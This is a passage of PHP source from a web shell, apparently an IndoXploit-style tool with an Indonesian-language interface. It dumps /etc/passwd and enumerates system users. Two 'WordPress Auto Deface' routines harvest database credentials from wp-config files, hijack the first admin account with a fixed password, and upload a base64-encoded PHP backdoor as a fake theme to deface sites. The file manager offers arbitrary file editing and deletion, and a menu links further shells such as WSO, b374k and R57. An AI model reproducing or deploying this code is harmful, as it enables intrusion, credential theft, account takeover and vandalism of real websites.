  3234. echo"</textarea><br><br><b></b><br>";
  3235. }
  3236. if($_POST['shex'])
  3237. {
  3238. echo"<textarea class='inputz' cols='65' rows='15'>";
  3239. echo shell_exec("cat /etc/passwd");
  3240. echo"</textarea><br><br><b></b><br>";
  3241. }
  3242. echo '<center>';
  3243. if($_POST['melex'])
  3244. {
  3245. echo"<textarea class='inputz' cols='65' rows='15'>";
  3246. for($uid=0;$uid<60000;$uid++){
  3247. $ara = posix_getpwuid($uid);
  3248. if (!empty($ara)) {
  3249. while (list ($key, $val) = each($ara)){
  3250. print "$val:";
  3251. }
  3252. print "\n";
  3253. }
  3254. }
  3255. echo"</textarea><br><br>";
  3256. }
  3257. //
  3258.  
  3259. //
  3260. } elseif($_GET['do'] == 'auto_dwp') {
  3261. if($_POST['auto_deface_wp']) {
  3262. function anucurl($sites) {
  3263. $ch = curl_init($sites);
  3264. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  3265. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  3266. curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1;
  3267.  
  3268. rv:32.0) Gecko/20100101 Firefox/32.0");
  3269. curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
  3270. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  3271. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  3272. curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
  3273. curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
  3274. curl_setopt($ch, CURLOPT_COOKIESESSION, true);
  3275. $data = curl_exec($ch);
  3276. curl_close($ch);
  3277. return $data;
  3278. }
  3279. function lohgin($cek, $web, $userr, $pass, $wp_submit) {
  3280. $post = array(
  3281. "log" => "$userr",
  3282. "pwd" => "$pass",
  3283. "rememberme" => "forever",
  3284. "wp-submit" => "$wp_submit",
  3285. "redirect_to" => "$web",
  3286. "testcookie" => "1",
  3287. );
  3288. $ch = curl_init($cek);
  3289. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  3290. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  3291. curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows
  3292.  
  3293. NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  3294. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  3295. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  3296. curl_setopt($ch, CURLOPT_POST, 1);
  3297. curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
  3298. curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
  3299. curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
  3300. curl_setopt($ch, CURLOPT_COOKIESESSION, true);
  3301. $data = curl_exec($ch);
  3302. curl_close($ch);
  3303. return $data;
  3304. }
  3305. $scan = $_POST['link_config'];
  3306. $link_config = scandir($scan);
  3307. $script = htmlspecialchars($_POST['script']);
  3308. $user = "0x1999";
  3309. $pass = "0x1999";
  3310. $passx = md5($pass);
  3311. foreach($link_config as $dir_config) {
  3312. if(!is_file("$scan/$dir_config")) continue;
  3313. $config = file_get_contents("$scan/$dir_config");
  3314. if(preg_match("/WordPress/", $config)) {
  3315. $dbhost = ambilkata($config,"DB_HOST', '","'");
  3316. $dbuser = ambilkata($config,"DB_USER', '","'");
  3317. $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
  3318. $dbname = ambilkata($config,"DB_NAME', '","'");
  3319. $dbprefix = ambilkata($config,"table_prefix = '","'");
  3320. $prefix = $dbprefix."users";
  3321. $option = $dbprefix."options";
  3322. $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  3323. $db = mysql_select_db($dbname);
  3324. $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
  3325. $result = mysql_fetch_array($q);
  3326. $id = $result[ID];
  3327. $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id
  3328.  
  3329. ASC");
  3330. $result2 = mysql_fetch_array($q2);
  3331. $target = $result2[option_value];
  3332. if($target == '') {
  3333. echo "[-] <font color=red>error, gabisa ambil nama
  3334.  
  3335. domain nya</font><br>";
  3336. } else {
  3337. echo "[+] $target <br>";
  3338. }
  3339. $update = mysql_query("UPDATE $prefix SET
  3340.  
  3341. user_login='$user',user_pass='$passx' WHERE ID='$id'");
  3342. if(!$conn OR !$db OR !$update) {
  3343. echo "[-] MySQL Error: <font
  3344.  
  3345. color=red>".mysql_error()."</font><br><br>";
  3346. mysql_close($conn);
  3347. } else {
  3348. $site = "$target/wp-login.php";
  3349. $site2 =
  3350.  
  3351. "$target/wp-admin/theme-install.php?upload";
  3352. $b1 = anucurl($site2);
  3353. $wp_sub = ambilkata($b1, "id=\"wp-submit\"
  3354.  
  3355. class=\"button button-primary button-large\" value=\"","\" />");
  3356. $b = lohgin($site, $site2, $user, $pass, $wp_sub);
  3357. $anu2 = ambilkata($b,"name=\"_wpnonce\"
  3358.  
  3359. value=\"","\" />");
  3360. $upload3 =
  3361.  
  3362. base64_decode("Z2FudGVuZw0KPD9waHANCiRmaWxlMyA9ICRfRklMRVNbJ2ZpbGUzJ107DQogICRuZXdmaWxlMz0ia
  3363.  
  3364. y5waHAiOw0KICAgICAgICAgICAgICAgIGlmIChmaWxlX2V4aXN0cygiLi4vLi4vLi4vLi4vIi4kbmV3ZmlsZTMpKSB1b
  3365.  
  3366. mxpbmsoIi4uLy4uLy4uLy4uLyIuJG5ld2ZpbGUzKTsNCiAgICAgICAgbW92ZV91cGxvYWRlZF9maWxlKCRmaWxlM1snd
  3367.  
  3368. G1wX25hbWUnXSwgIi4uLy4uLy4uLy4uLyRuZXdmaWxlMyIpOw0KDQo/Pg==");
  3369. $www = "m.php";
  3370. $fp5 = fopen($www,"w");
  3371. fputs($fp5,$upload3);
  3372. $post2 = array(
  3373. "_wpnonce" => "$anu2",
  3374. "_wp_http_referer" =>
  3375.  
  3376. "/wp-admin/theme-install.php?upload",
  3377. "themezip" => "@$www",
  3378. "install-theme-submit" => "Install
  3379.  
  3380. Now",
  3381. );
  3382. $ch =
  3383.  
  3384. curl_init("$target/wp-admin/update.php?action=upload-theme");
  3385. curl_setopt($ch, CURLOPT_RETURNTRANSFER,
  3386.  
  3387. 1);
  3388. curl_setopt($ch, CURLOPT_FOLLOWLOCATION,
  3389.  
  3390. 1);
  3391. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,
  3392.  
  3393. 0);
  3394. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,
  3395.  
  3396. 0);
  3397. curl_setopt($ch, CURLOPT_POST, 1);
  3398. curl_setopt($ch, CURLOPT_POSTFIELDS,
  3399.  
  3400. $post2);
  3401. curl_setopt($ch,
  3402.  
  3403. CURLOPT_COOKIEJAR,'cookie.txt');
  3404. curl_setopt($ch,
  3405.  
  3406. CURLOPT_COOKIEFILE,'cookie.txt');
  3407. curl_setopt($ch, CURLOPT_COOKIESESSION, true);
  3408. $data3 = curl_exec($ch);
  3409. curl_close($ch);
  3410. $y = date("Y");
  3411. $m = date("m");
  3412. $namafile = "id.php";
  3413. $fpi = fopen($namafile,"w");
  3414. fputs($fpi,$script);
  3415. $ch6 =
  3416.  
  3417. curl_init("$target/wp-content/uploads/$y/$m/$www");
  3418. curl_setopt($ch6, CURLOPT_POST, true);
  3419. curl_setopt($ch6, CURLOPT_POSTFIELDS,
  3420.  
  3421. array('file3'=>"@$namafile"));
  3422. curl_setopt($ch6, CURLOPT_RETURNTRANSFER,
  3423.  
  3424. 1);
  3425. curl_setopt($ch6, CURLOPT_COOKIEFILE,
  3426.  
  3427. "cookie.txt");
  3428. curl_setopt($ch6,
  3429.  
  3430. CURLOPT_COOKIEJAR,'cookie.txt');
  3431. curl_setopt($ch6, CURLOPT_COOKIESESSION, true);
  3432. $postResult = curl_exec($ch6);
  3433. curl_close($ch6);
  3434. $as = "$target/k.php";
  3435. $bs = anucurl($as);
  3436. if(preg_match("#$script#is", $bs)) {
  3437. echo "[+] <font color='lime'>berhasil mepes...</font><br>";
  3438. echo "[+] <a href='$as' target='_blank'>$as</a><br><br>";
  3439. } else {
  3440. echo "[-] <font color='red'>gagal mepes...</font><br>";
  3441. echo "[!!] coba aja manual: <br>";
  3442. echo "[+] <a href='$target/wp-login.php'
  3443.  
  3444. target='_blank'>$target/wp-login.php</a><br>";
  3445. echo "[+] username: <font color=lime>$user</font><br>";
  3446. echo "[+] password: <font color=lime>$pass</font><br><br>";
  3447. }
  3448. mysql_close($conn);
  3449. }
  3450. }
  3451. }
  3452. } else {
  3453. echo "<center><h1>WordPress Auto Deface</h1>
  3454. <form method='post'>
  3455. <input type='text' name='link_config' size='50' height='10'
  3456.  
  3457. value='$dir'><br>
  3458. <input type='text' name='script' height='10' size='50' placeholder='Hacked
  3459.  
  3460. By 0x1999' required><br>
  3461. <input type='submit' style='width: 450px;' name='auto_deface_wp'
  3462.  
  3463. value='Hajar!!'>
  3464. </form>
  3465. <br><span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> (
  3466.  
  3467. ex: /home/user/public_html/nama_folder_config )</span>
  3468. </center>";
  3469. }
  3470. } elseif($_GET['do'] == 'auto_dwp2') {
  3471. if($_POST['auto_deface_wp']) {
  3472. function anucurl($sites) {
  3473. $ch = curl_init($sites);
  3474. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  3475. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  3476. curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1;
  3477.  
  3478. rv:32.0) Gecko/20100101 Firefox/32.0");
  3479. curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
  3480. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  3481. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  3482. curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
  3483. curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
  3484. curl_setopt($ch, CURLOPT_COOKIESESSION,true);
  3485. $data = curl_exec($ch);
  3486. curl_close($ch);
  3487. return $data;
  3488. }
  3489. function lohgin($cek, $web, $userr, $pass, $wp_submit) {
  3490. $post = array(
  3491. "log" => "$userr",
  3492. "pwd" => "$pass",
  3493. "rememberme" => "forever",
  3494. "wp-submit" => "$wp_submit",
  3495. "redirect_to" => "$web",
  3496. "testcookie" => "1",
  3497. );
  3498. $ch = curl_init($cek);
  3499. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  3500. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  3501. curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows
  3502.  
  3503. NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  3504. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  3505. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  3506. curl_setopt($ch, CURLOPT_POST, 1);
  3507. curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
  3508. curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
  3509. curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
  3510. curl_setopt($ch, CURLOPT_COOKIESESSION, true);
  3511. $data = curl_exec($ch);
  3512. curl_close($ch);
  3513. return $data;
  3514. }
  3515. $link = explode("\r\n", $_POST['link']);
  3516. $script = htmlspecialchars($_POST['script']);
  3517. $user = "indoxploit";
  3518. $pass = "indoxploit";
  3519. $passx = md5($pass);
  3520. foreach($link as $dir_config) {
  3521. $config = anucurl($dir_config);
  3522. $dbhost = ambilkata($config,"DB_HOST', '","'");
  3523. $dbuser = ambilkata($config,"DB_USER', '","'");
  3524. $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
  3525. $dbname = ambilkata($config,"DB_NAME', '","'");
  3526. $dbprefix = ambilkata($config,"table_prefix = '","'");
  3527. $prefix = $dbprefix."users";
  3528. $option = $dbprefix."options";
  3529. $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  3530. $db = mysql_select_db($dbname);
  3531. $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
  3532. $result = mysql_fetch_array($q);
  3533. $id = $result[ID];
  3534. $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
  3535. $result2 = mysql_fetch_array($q2);
  3536. $target = $result2[option_value];
  3537. if($target == '') {
  3538. echo "[-] <font color=red>error, gabisa ambil nama domain
  3539.  
  3540. nya</font><br>";
  3541. } else {
  3542. echo "[+] $target <br>";
  3543. }
  3544. $update = mysql_query("UPDATE $prefix SET
  3545.  
  3546. user_login='$user',user_pass='$passx' WHERE ID='$id'");
  3547. if(!$conn OR !$db OR !$update) {
  3548. echo "[-] MySQL Error: <font
  3549.  
  3550. color=red>".mysql_error()."</font><br><br>";
  3551. mysql_close($conn);
  3552. } else {
  3553. $site = "$target/wp-login.php";
  3554. $site2 = "$target/wp-admin/theme-install.php?upload";
  3555. $b1 = anucurl($site2);
  3556. $wp_sub = ambilkata($b1, "id=\"wp-submit\" class=\"button
  3557.  
  3558. button-primary button-large\" value=\"","\" />");
  3559. $b = lohgin($site, $site2, $user, $pass, $wp_sub);
  3560. $anu2 = ambilkata($b,"name=\"_wpnonce\" value=\"","\" />");
  3561. $upload3 =
  3562.  
  3563. base64_decode("Z2FudGVuZw0KPD9waHANCiRmaWxlMyA9ICRfRklMRVNbJ2ZpbGUzJ107DQogICRuZXdmaWxlMz0ia
  3564.  
  3565. y5waHAiOw0KICAgICAgICAgICAgICAgIGlmIChmaWxlX2V4aXN0cygiLi4vLi4vLi4vLi4vIi4kbmV3ZmlsZTMpKSB1b
  3566.  
  3567. mxpbmsoIi4uLy4uLy4uLy4uLyIuJG5ld2ZpbGUzKTsNCiAgICAgICAgbW92ZV91cGxvYWRlZF9maWxlKCRmaWxlM1snd
  3568.  
  3569. G1wX25hbWUnXSwgIi4uLy4uLy4uLy4uLyRuZXdmaWxlMyIpOw0KDQo/Pg==");
  3570. $www = "m.php";
  3571. $fp5 = fopen($www,"w");
  3572. fputs($fp5,$upload3);
  3573. $post2 = array(
  3574. "_wpnonce" => "$anu2",
  3575. "_wp_http_referer" =>
  3576.  
  3577. "/wp-admin/theme-install.php?upload",
  3578. "themezip" => "@$www",
  3579. "install-theme-submit" => "Install Now",
  3580. );
  3581. $ch =
  3582.  
  3583. curl_init("$target/wp-admin/update.php?action=upload-theme");
  3584. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  3585. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  3586. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  3587. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  3588. curl_setopt($ch, CURLOPT_POST, 1);
  3589. curl_setopt($ch, CURLOPT_POSTFIELDS, $post2);
  3590. curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
  3591. curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
  3592. curl_setopt($ch, CURLOPT_COOKIESESSION, true);
  3593. $data3 = curl_exec($ch);
  3594. curl_close($ch);
  3595. $y = date("Y");
  3596. $m = date("m");
  3597. $namafile = "id.php";
  3598. $fpi = fopen($namafile,"w");
  3599. fputs($fpi,$script);
  3600. $ch6 = curl_init("$target/wp-content/uploads/$y/$m/$www");
  3601. curl_setopt($ch6, CURLOPT_POST, true);
  3602. curl_setopt($ch6, CURLOPT_POSTFIELDS,
  3603.  
  3604. array('file3'=>"@$namafile"));
  3605. curl_setopt($ch6, CURLOPT_RETURNTRANSFER, 1);
  3606. curl_setopt($ch6, CURLOPT_COOKIEFILE,
  3607.  
  3608. "cookie.txt");
  3609. curl_setopt($ch6, CURLOPT_COOKIEJAR,'cookie.txt');
  3610. curl_setopt($ch6, CURLOPT_COOKIESESSION,true);
  3611. $postResult = curl_exec($ch6);
  3612. curl_close($ch6);
  3613. $as = "$target/k.php";
  3614. $bs = anucurl($as);
  3615. if(preg_match("#$script#is", $bs)) {
  3616. echo "[+] <font color='lime'>berhasil mepes...</font><br>";
  3617. echo "[+] <a href='$as' target='_blank'>$as</a><br><br>";
  3618. } else {
  3619. echo "[-] <font color='red'>gagal mepes...</font><br>";
  3620. echo "[!!] coba aja manual: <br>";
  3621. echo "[+] <a href='$target/wp-login.php'
  3622.  
  3623. target='_blank'>$target/wp-login.php</a><br>";
  3624. echo "[+] username: <font color=lime>$user</font><br>";
  3625. echo "[+] password: <font color=lime>$pass</font><br><br>";
  3626. }
  3627. mysql_close($conn);
  3628. }
  3629. }
  3630. } else {
  3631. echo "<center><h1>WordPress Auto Deface V.2</h1>
  3632. <form method='post'>
  3633. Link Config: <br>
  3634. <textarea name='link'
  3635.  
  3636. placeholder='http://target.com/idx_config/user-config.txt' style='width: 450px;
  3637.  
  3638. height:250px;'></textarea><br>
  3639. <input type='text' name='script' height='10' size='50' placeholder='Hacked
  3640.  
  3641. By 0x1999' required><br>
  3642. <input type='submit' style='width: 450px;' name='auto_deface_wp'
  3643.  
  3644. value='Hajar!!'>
  3645. </form></center>";
  3646. }
  3647. } elseif($_GET['act'] == 'newfile') {
  3648. if($_POST['new_save_file']) {
  3649. $newfile = htmlspecialchars($_POST['newfile']);
  3650. $fopen = fopen($newfile, "a+");
  3651. if($fopen) {
  3652. $act =
  3653.  
  3654. "<script>window.location='?act=edit&dir=".$dir."&file=".$_POST['newfile']."';</script>";
  3655. } else {
  3656. $act = "<font color=red>permission denied</font>";
  3657. }
  3658. }
  3659. echo $act;
  3660. echo "<form method='post'>
  3661. Filename: <input type='text' name='newfile' value='$dir/newfile.php' style='width:
  3662.  
  3663. 450px;' height='10'>
  3664. <input type='submit' name='new_save_file' value='Submit'>
  3665. </form>";
  3666. } elseif($_GET['act'] == 'newfolder') {
  3667. if($_POST['new_save_folder']) {
  3668. $new_folder = $dir.'/'.htmlspecialchars($_POST['newfolder']);
  3669. if(!mkdir($new_folder)) {
  3670. $act = "<font color=red>permission denied</font>";
  3671. } else {
  3672. $act = "<script>window.location='?dir=".$dir."';</script>";
  3673. }
  3674. }
  3675. echo $act;
  3676. echo "<form method='post'>
  3677. Folder Name: <input type='text' name='newfolder' style='width: 450px;' height='10'>
  3678. <input type='submit' name='new_save_folder' value='Submit'>
  3679. </form>";
  3680. } elseif($_GET['act'] == 'rename_dir') {
  3681. if($_POST['dir_rename']) {
  3682. $dir_rename = rename($dir,
  3683.  
  3684. "".dirname($dir)."/".htmlspecialchars($_POST['fol_rename'])."");
  3685. if($dir_rename) {
  3686. $act = "<script>window.location='?dir=".dirname($dir)."';</script>";
  3687. } else {
  3688. $act = "<font color=red>permission denied</font>";
  3689. }
  3690. echo "".$act."<br>";
  3691. }
  3692. echo "<form method='post'>
  3693. <input type='text' value='".basename($dir)."' name='fol_rename' style='width:
  3694.  
  3695. 450px;' height='10'>
  3696. <input type='submit' name='dir_rename' value='rename'>
  3697. </form>";
  3698. } elseif($_GET['act'] == 'delete_dir') {
  3699. function Delete($path)
  3700. {
  3701. if (is_dir($path) === true)
  3702. {
  3703. $files = array_diff(scandir($path), array('.', '..'));
  3704. foreach ($files as $file)
  3705. {
  3706. Delete(realpath($path) . '/' . $file);
  3707. }
  3708. return rmdir($path);
  3709. }
  3710. else if (is_file($path) === true)
  3711. {
  3712. return unlink($path);
  3713. }
  3714. return false;
  3715. }
  3716. $delete_dir = Delete($dir);
  3717. if($delete_dir) {
  3718. $act = "<script>window.location='?dir=".dirname($dir)."';</script>";
  3719. } else {
  3720. $act = "<font color=red>could not remove ".basename($dir)."</font>";
  3721. }
  3722. echo $act;
  3723. } elseif($_GET['act'] == 'view') {
  3724. echo "Filename: <font color=lime>".basename($_GET['file'])."</font> [ <a
  3725.  
  3726. href='?act=view&dir=$dir&file=".$_GET['file']."'><b>view</b></a> ] [ <a
  3727.  
  3728. href='?act=edit&dir=$dir&file=".$_GET['file']."'>edit</a> ] [ <a
  3729.  
  3730. href='?act=rename&dir=$dir&file=".$_GET['file']."'>rename</a> ] [ <a
  3731.  
  3732. href='?act=download&dir=$dir&file=".$_GET['file']."'>download</a> ] [ <a
  3733.  
  3734. href='?act=delete&dir=$dir&file=".$_GET['file']."'>delete</a> ]<br>";
  3735. echo "<textarea
  3736.  
  3737. readonly>".htmlspecialchars(@file_get_contents($_GET['file']))."</textarea>";
  3738. } elseif($_GET['act'] == 'edit') {
  3739. if($_POST['save']) {
  3740. $save = file_put_contents($_GET['file'], $_POST['src']);
  3741. if($save) {
  3742. $act = "<font color=lime>Saved!</font>";
  3743. } else {
  3744. $act = "<font color=red>permission denied</font>";
  3745. }
  3746. echo "".$act."<br>";
  3747. }
  3748. echo "Filename: <font color=lime>".basename($_GET['file'])."</font> [ <a
  3749.  
  3750. href='?act=view&dir=$dir&file=".$_GET['file']."'>view</a> ] [ <a
  3751.  
  3752. href='?act=edit&dir=$dir&file=".$_GET['file']."'><b>edit</b></a> ] [ <a
  3753.  
  3754. href='?act=rename&dir=$dir&file=".$_GET['file']."'>rename</a> ] [ <a
  3755.  
  3756. href='?act=download&dir=$dir&file=".$_GET['file']."'>download</a> ] [ <a
  3757.  
  3758. href='?act=delete&dir=$dir&file=".$_GET['file']."'>delete</a> ]<br>";
  3759. echo "<form method='post'>
  3760. <textarea
  3761.  
  3762. name='src'>".htmlspecialchars(@file_get_contents($_GET['file']))."</textarea><br>
  3763. <input type='submit' value='Save' name='save' style='width: 500px;'>
  3764. </form>";
  3765. } elseif($_GET['act'] == 'rename') {
  3766. if($_POST['do_rename']) {
  3767. $rename = rename($_GET['file'],
  3768.  
  3769. "$dir/".htmlspecialchars($_POST['rename'])."");
  3770. if($rename) {
  3771. $act = "<script>window.location='?dir=".$dir."';</script>";
  3772. } else {
  3773. $act = "<font color=red>permission denied</font>";
  3774. }
  3775. echo "".$act."<br>";
  3776. }
  3777. echo "Filename: <font color=lime>".basename($_GET['file'])."</font> [ <a
  3778.  
  3779. href='?act=view&dir=$dir&file=".$_GET['file']."'>view</a> ] [ <a
  3780.  
  3781. href='?act=edit&dir=$dir&file=".$_GET['file']."'>edit</a> ] [ <a
  3782.  
  3783. href='?act=rename&dir=$dir&file=".$_GET['file']."'><b>rename</b></a> ] [ <a
  3784.  
  3785. href='?act=download&dir=$dir&file=".$_GET['file']."'>download</a> ] [ <a
  3786.  
  3787. href='?act=delete&dir=$dir&file=".$_GET['file']."'>delete</a> ]<br>";
  3788. echo "<form method='post'>
  3789. <input type='text' value='".basename($_GET['file'])."' name='rename' style='width:
  3790.  
  3791. 450px;' height='10'>
  3792. <input type='submit' name='do_rename' value='rename'>
  3793. </form>";
  3794. } elseif($_GET['act'] == 'delete') {
  3795. $delete = unlink($_GET['file']);
  3796. if($delete) {
  3797. $act = "<script>window.location='?dir=".$dir."';</script>";
  3798. } else {
  3799. $act = "<font color=red>permission denied</font>";
  3800. }
  3801. echo $act;
  3802. }else {
  3803. if(is_dir($dir) == true) {
  3804. echo '<table width="100%" class="table_home" border="0" cellpadding="3"
  3805.  
  3806. cellspacing="1" align="center">
  3807. <tr>
  3808. <th class="th_home"><center>Name</center></th>
  3809. <th class="th_home"><center>Type</center></th>
  3810. <th class="th_home"><center>Size</center></th>
  3811. <th class="th_home"><center>Last Modified</center></th>
  3812. <th class="th_home"><center>Permission</center></th>
  3813. <th class="th_home"><center>Action</center></th>
  3814. </tr>';
  3815. $scandir = scandir($dir);
  3816. foreach($scandir as $dirx) {
  3817. $dtype = filetype("$dir/$dirx");
  3818. $dtime = date("F d Y g:i:s", filemtime("$dir/$dirx"));
  3819. if(!is_dir("$dir/$dirx")) continue;
  3820. if($dirx === '..') {
  3821. $href = "<a href='?dir=".dirname($dir)."'>$dirx</a>";
  3822. } elseif($dirx === '.') {
  3823. $href = "<a href='?dir=$dir'>$dirx</a>";
  3824. } else {
  3825. $href = "<a href='?dir=$dir/$dirx'>$dirx</a>";
  3826. }
  3827. if($dirx === '.' || $dirx === '..') {
  3828. $act_dir = "<a href='?act=newfile&dir=$dir'>newfile</a> | <a
  3829.  
  3830. href='?act=newfolder&dir=$dir'>newfolder</a>";
  3831. } else {
  3832. $act_dir = "<a
  3833.  
  3834. href='?act=rename_dir&dir=$dir/$dirx'>rename</a> | <a
  3835.  
  3836. href='?act=delete_dir&dir=$dir/$dirx'>delete</a>";
  3837. }
  3838. echo "<tr>";
  3839. echo "<td class='td_home'><img
  3840.  
  3841. src='data:image/png;base64,R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAA
  3842.  
  3843. AAAAAAAAAAA"."AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp".
  3844.  
  3845. "/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs='>$href</td>";
  3846. echo "<td class='td_home'><center>$dtype</center></td>";
  3847. echo "<td class='td_home'><center>-</center></th>";
  3848. echo "<td class='td_home'><center>$dtime</center></td>";
  3849. echo "<td
  3850.  
  3851. class='td_home'><center>".w("$dir/$dirx",perms("$dir/$dirx"))."</center></td>";
  3852. echo "<td class='td_home' style='padding-left:
  3853.  
  3854. 15px;'>$act_dir</td>";
  3855. }
  3856. echo "</tr>";
  3857. foreach($scandir as $file) {
  3858. $ftype = filetype("$dir/$file");
  3859. $ftime = date("F d Y g:i:s", filemtime("$dir/$file"));
  3860. $size = filesize("$dir/$file")/1024;
  3861. $size = round($size,3);
  3862. if($size > 1024) {
  3863. $size = round($size/1024,2). 'MB';
  3864. } else {
  3865. $size = $size. 'KB';
  3866. }
  3867. if(!is_file("$dir/$file")) continue;
  3868. echo "<tr>";
  3869. echo "<td class='td_home'><img
  3870.  
  3871. src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAA
  3872.  
  3873. AZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9T
  3874.  
  3875. hxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW
  3876.  
  3877. 0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNf
  3878.  
  3879. tgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+u
  3880.  
  3881. QmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIi
  3882.  
  3883. ojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt
  3884.  
  3885. 0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5u
  3886.  
  3887. kq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjun
  3888.  
  3889. pqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP
  3890.  
  3891. +fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII='><a
  3892.  
  3893. href='?act=view&dir=$dir&file=$dir/$file'>$file</a></td>";
  3894. echo "<td class='td_home'><center>$ftype</center></td>";
  3895. echo "<td class='td_home'><center>$size</center></td>";
  3896. echo "<td class='td_home'><center>$ftime</center></td>";
  3897. echo "<td
  3898.  
  3899. class='td_home'><center>".w("$dir/$file",perms("$dir/$file"))."</center></td>";
  3900. echo "<td class='td_home' style='padding-left: 15px;'><a
  3901.  
  3902. href='?act=edit&dir=$dir&file=$dir/$file'>edit</a> | <a
  3903.  
  3904. href='?act=rename&dir=$dir&file=$dir/$file'>rename</a> | <a
  3905.  
  3906. href='?act=delete&dir=$dir&file=$dir/$file'>delete</a> | <a
  3907.  
  3908. href='?act=download&dir=$dir&file=$dir/$file'>download</a></td>";
  3909. }
  3910. echo "</tr></table>";
  3911. } else {
  3912. echo "<font color=red>can't open directory</font>";
  3913. }
  3914. }
  3915. echo "<center><hr><form>
  3916. <select onchange='if (this.value) window.open(this.value);'>
  3917. <option selected='selected' value=''> Tools Creator </option>
  3918. <option value='$ling=wso'>WSO 2.8.1</option>
  3919. <option value='$ling=injection'>1n73ction v3</option>
  3920. <option value='$ling=wk'>WHMCS Killer</option>
  3921. <option value='$ling=adminer'>Adminer</option>
  3922. <option value='$ling=b374k'>b374k Shell</option>
  3923. <option value='$ling=b374k323'>b374k 3.2</option>
  3924. <option value='$ling=bh'>BlackHat Shell</option>
  3925. <option value='$ling=dhanus'>Dhanush Shell</option>
  3926. <option value='$ling=r57'>R57 Shell</option>
  3927. <option value='$ling=encodedecode'>Encode Decode</option>
  3928. <option value='$ling=r57'>R57 Shell</option>
  3929. </select>
  3930. <select onchange='if (this.value) window.open(this.value);'>
